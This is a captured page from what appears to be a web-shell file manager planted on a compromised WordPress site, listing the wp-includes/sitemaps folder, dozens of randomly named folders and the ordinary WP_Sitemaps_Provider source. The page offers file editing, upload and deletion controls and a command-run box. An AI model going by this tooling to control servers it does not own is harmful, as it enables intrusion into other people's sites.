/
home
/
desid573
/
cf.desidrivers.com.au
/
wp-includes
/
sitemaps
/
/home/desid573/cf.desidrivers.com.au/wp-includes/sitemaps
mkdir
upload
Name
Size
Mode
Actions
1kzypaj/
-
0755
rm
ag1nvxj/
-
0755
rm
amjqfpe/
-
0755
rm
azthmvp/
-
0755
rm
blsd1iu/
-
0755
rm
bmwxfij/
-
0755
rm
bomwvcg/
-
0755
rm
c1tkavw/
-
0755
rm
clinyok/
-
0755
rm
coquvxk/
-
0755
rm
de1qbut/
-
0755
rm
dkfqsjx/
-
0755
rm
ferqwsy/
-
0755
rm
gbjkyau/
-
0755
rm
gxvpqnk/
-
0755
rm
hbjemdp/
-
0755
rm
izhd1yl/
-
0755
rm
j1samtl/
-
0755
rm
jd1xkbr/
-
0755
rm
jgvqwas/
-
0755
rm
jhalxy1/
-
0755
rm
kbcyszh/
-
0755
rm
kyng1qm/
-
0755
rm
lcqseom/
-
0755
rm
ljg1ctk/
-
0755
rm
lokdrwa/
-
0755
rm
lqaxged/
-
0755
rm
lwzqps1/
-
0755
rm
mfazrjx/
-
0755
rm
mfjpeyb/
-
0755
rm
mtrkdgj/
-
0755
rm
nlqwpko/
-
0755
rm
ns1xcvz/
-
0755
rm
pjmtenl/
-
0755
rm
providers/
-
0755
rm
pvsgefa/
-
0755
rm
qfgbkpy/
-
0755
rm
qrpykve/
-
0755
rm
qxpoylv/
-
0755
rm
qy1xhbz/
-
0755
rm
qzuingp/
-
0755
rm
ripw1yd/
-
0755
rm
rqsapkd/
-
0755
rm
rwyidvb/
-
0755
rm
smqeiuo/
-
0755
rm
soxfbpw/
-
0755
rm
tbfuypj/
-
0755
rm
tvdklnp/
-
0755
rm
ugnjmlc/
-
0755
rm
ulsarzn/
-
0755
rm
vlcyoug/
-
0755
rm
vmbciod/
-
0755
rm
vocmbfn/
-
0755
rm
vy1xcgb/
-
0755
rm
wptijnh/
-
0755
rm
wzjrnmu/
-
0755
rm
y1uvrno/
-
0755
rm
zakolwn/
-
0755
rm
zgkyhjm/
-
0755
rm
.htaccess
178
0644
edit
dl
rm
class-wp-sitemaps-index.php
2010
0644
edit
dl
rm
class-wp-sitemaps-provider.php
4413
0644
edit
dl
rm
class-wp-sitemaps-registry.php
1934
0644
edit
dl
rm
class-wp-sitemaps-renderer.php
6687
0644
edit
dl
rm
class-wp-sitemaps-stylesheet.php
8520
0644
edit
dl
rm
class-wp-sitemaps.php
6402
0644
edit
dl
rm
Edit:
/home/desid573/cf.desidrivers.com.au/wp-includes/sitemaps/class-wp-sitemaps-provider.php
(4413B)
<?php /** * Sitemaps: WP_Sitemaps_Provider class * * This class is a base class for other sitemap providers to extend and contains shared functionality. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Provider. * * @since 5.5.0 */ #[AllowDynamicProperties] abstract class WP_Sitemaps_Provider { /** * Provider name. * * This will also be used as the public-facing name in URLs. * * @since 5.5.0 * * @var string */ protected $name = ''; /** * Object type name (e.g. 'post', 'term', 'user'). * * @since 5.5.0 * * @var string */ protected $object_type = ''; /** * Gets a URL list for a sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $object_subtype Optional. Object subtype name. Default empty. * @return array[] Array of URL information for a sitemap. */ abstract public function get_url_list( $page_num, $object_subtype = '' ); /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @param string $object_subtype Optional. Object subtype. Default empty. * @return int Total number of pages. */ abstract public function get_max_num_pages( $object_subtype = '' ); /** * Gets data about each sitemap type. * * @since 5.5.0 * * @return array[] Array of sitemap types including object subtype name and number of pages. */ public function get_sitemap_type_data() { $sitemap_data = array(); $object_subtypes = $this->get_object_subtypes(); /* * If there are no object subtypes, include a single sitemap for the * entire object type. */ if ( empty( $object_subtypes ) ) { $sitemap_data[] = array( 'name' => '', 'pages' => $this->get_max_num_pages(), ); return $sitemap_data; } // Otherwise, include individual sitemaps for every object subtype. foreach ( $object_subtypes as $object_subtype_name => $data ) { $object_subtype_name = (string) $object_subtype_name; $sitemap_data[] = array( 'name' => $object_subtype_name, 'pages' => $this->get_max_num_pages( $object_subtype_name ), ); } return $sitemap_data; } /** * Lists sitemap pages exposed by this provider. * * The returned data is used to populate the sitemap entries of the index. * * @since 5.5.0 * * @return array[] Array of sitemap entries. */ public function get_sitemap_entries() { $sitemaps = array(); $sitemap_types = $this->get_sitemap_type_data(); foreach ( $sitemap_types as $type ) { for ( $page = 1; $page <= $type['pages']; $page++ ) { $sitemap_entry = array( 'loc' => $this->get_sitemap_url( $type['name'], $page ), ); /** * Filters the sitemap entry for the sitemap index. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param string $object_type Object empty name. * @param string $object_subtype Object subtype name. * Empty string if the object type does not support subtypes. * @param int $page Page number of results. */ $sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page ); $sitemaps[] = $sitemap_entry; } } return $sitemaps; } /** * Gets the URL of a sitemap entry. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name The name of the sitemap. * @param int $page The page of the sitemap. * @return string The composed URL for a sitemap entry. */ public function get_sitemap_url( $name, $page ) { global $wp_rewrite; // Accounts for cases where name is not included, ex: sitemaps-users-1.xml. $params = array_filter( array( 'sitemap' => $this->name, 'sitemap-subtype' => $name, 'paged' => $page, ) ); $basename = sprintf( '/wp-sitemap-%1$s.xml', implode( '-', $params ) ); if ( ! $wp_rewrite->using_permalinks() ) { $basename = '/?' . http_build_query( $params, '', '&' ); } return home_url( $basename ); } /** * Returns the list of supported object subtypes exposed by the provider. * * @since 5.5.0 * * @return array List of object subtypes objects keyed by their name. */ public function get_object_subtypes() { return array(); } }
Save
cmd:
run